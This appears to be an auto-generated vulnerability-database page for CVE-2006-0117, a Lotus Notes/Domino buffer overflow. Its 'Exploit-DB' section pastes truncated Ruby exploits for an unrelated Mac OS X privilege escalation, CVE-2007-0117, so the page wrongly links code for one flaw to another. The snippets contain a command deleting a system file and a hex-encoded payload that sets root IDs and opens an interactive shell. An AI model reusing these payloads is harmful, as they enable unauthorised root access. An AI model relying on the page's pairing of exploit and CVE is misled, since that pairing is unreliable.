CVE-2006-0117
published 2006-01-09CVE-2006-0117: Buffer overflow in IBM Lotus Notes and Domino Server before 6.5.5 allows attackers to cause a denial of service (router crash or hang) via unspecified vectors…
PriorityP417medium5CVSS 2.0
AVNACLAuNCNINAP
EPSS
1.74%
75.1th percentile
Buffer overflow in IBM Lotus Notes and Domino Server before 6.5.5 allows attackers to cause a denial of service (router crash or hang) via unspecified vectors involving "CD to MIME Conversion".
Affected
12 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ibm | lotus_domino | — | — |
| ibm | lotus_domino | — | — |
| ibm | lotus_domino | — | — |
| ibm | lotus_domino | — | — |
| ibm | lotus_domino | — | — |
| ibm | lotus_domino_enterprise_server | — | — |
| ibm | lotus_domino_enterprise_server | — | — |
| ibm | lotus_notes | — | — |
| ibm | lotus_notes | — | — |
| ibm | lotus_notes | — | — |
| ibm | lotus_notes | — | — |
| ibm | lotus_notes | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Apple Mac OSX 10.4.8 - DiskManagement BOM 'cron' Local Privilege Escalation
exploitdb·2007-01-05
CVE-2007-0117 Apple Mac OSX 10.4.8 - DiskManagement BOM 'cron' Local Privilege Escalation
Apple Mac OSX 10.4.8 - DiskManagement BOM 'cron' Local Privilege Escalation
---
#!/usr/bin/ruby
# (c) 2006 LMH (code from the other exploit, porting)
# Kevin Finisterre (crontab rock and roll)
#
# Second exploit for MOAB-05-01-2007, uses crontab. much more simple than the other one.
# And works like a charm.
require 'fileutils'
EVIL_COMMANDS = [
"rm /Library/Receipts/Essentials.pkg/Contents/Archive.bom ",
"echo -e \"\\x6d\\x61\\x69\\x6e\\x28\\x29\\x7b\\x20\\x73\\x65\\x74\\x65\\x75\\x69\\x64\\x28\\x30\\x29\\x3b\\x20\\x73\\x65\\x74\\x65\\x67\\x69\\x64\\x28\\x30\\x29\\x3b\\x20\\x73\\x65\\x74\\x75\\x69\\x64\\x28\\x30\\x29\\x3b\\x20\\x73\\x65\\x74\\x67\\x69\\x64\\x28\\x30\\x29\\x3b\\x20\\x73\\x79\\x73\\x74\\x65\\x6d\\x28\\x22\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x20\\x2d\\x69\\x22\\x29\\x3b\
Exploit-DB
Apple Mac OSX 10.4.8 - DiskManagement BOM Privilege Escalation
exploitdb·2007-01-05
CVE-2007-0117 Apple Mac OSX 10.4.8 - DiskManagement BOM Privilege Escalation
Apple Mac OSX 10.4.8 - DiskManagement BOM Privilege Escalation
---
#!/usr/bin/ruby
# (c) 2006 LMH
# Kevin Finisterre
#
# Thanks to The French Connection for bringing this in-the-wild 0-day to
# our attention. If /tmp/ps2 exists on your system, you've been pwned already.
# Thanks to the original authors of the exploit ('meow'). You know who you are.
#
# "They did it for the lulz" - A Fakecure spokesperson on the 'Mother Of all Bombs'.
# "kcoc kcus I ro tcarter uoY" - The Original Drama P3dobear (Kumo' n').
#
require 'fileutils'
# Basic configuration
TARGET_BINARY = "/bin/ps" # Changing this requires you to create a new TEH_EVIL_BOM
TARGET_BACKUP_PATH = "/tmp/ps2" # see: "man lsbom" and "man mkbom"
TARGET_SHELL_PATH = "/usr/bin/id" # Ensure the binary doesn't drop privileges!
BOMARCHIVE_
No writeups or analysis indexed.
http://secunia.com/advisories/18328http://www-1.ibm.com/support/docview.wss?uid=swg27007054http://www-10.lotus.com/ldd/r5fixlist.nsf/5c087391999d06e7852569280062619d/50c634bfe193efa5852570e4001baace?OpenDocumenthttp://www-10.lotus.com/ldd/r5fixlist.nsf/e7dbb5aee9a94c56852570c90056a95d/21d8fd7989fdf78d852570e4001bae68?OpenDocumenthttp://www.securityfocus.com/bid/16158http://www.vupen.com/english/advisories/2006/0081https://exchange.xforce.ibmcloud.com/vulnerabilities/24205http://secunia.com/advisories/18328http://www-1.ibm.com/support/docview.wss?uid=swg27007054http://www-10.lotus.com/ldd/r5fixlist.nsf/5c087391999d06e7852569280062619d/50c634bfe193efa5852570e4001baace?OpenDocumenthttp://www-10.lotus.com/ldd/r5fixlist.nsf/e7dbb5aee9a94c56852570c90056a95d/21d8fd7989fdf78d852570e4001bae68?OpenDocumenthttp://www.securityfocus.com/bid/16158http://www.vupen.com/english/advisories/2006/0081https://exchange.xforce.ibmcloud.com/vulnerabilities/24205
2006-01-09
Published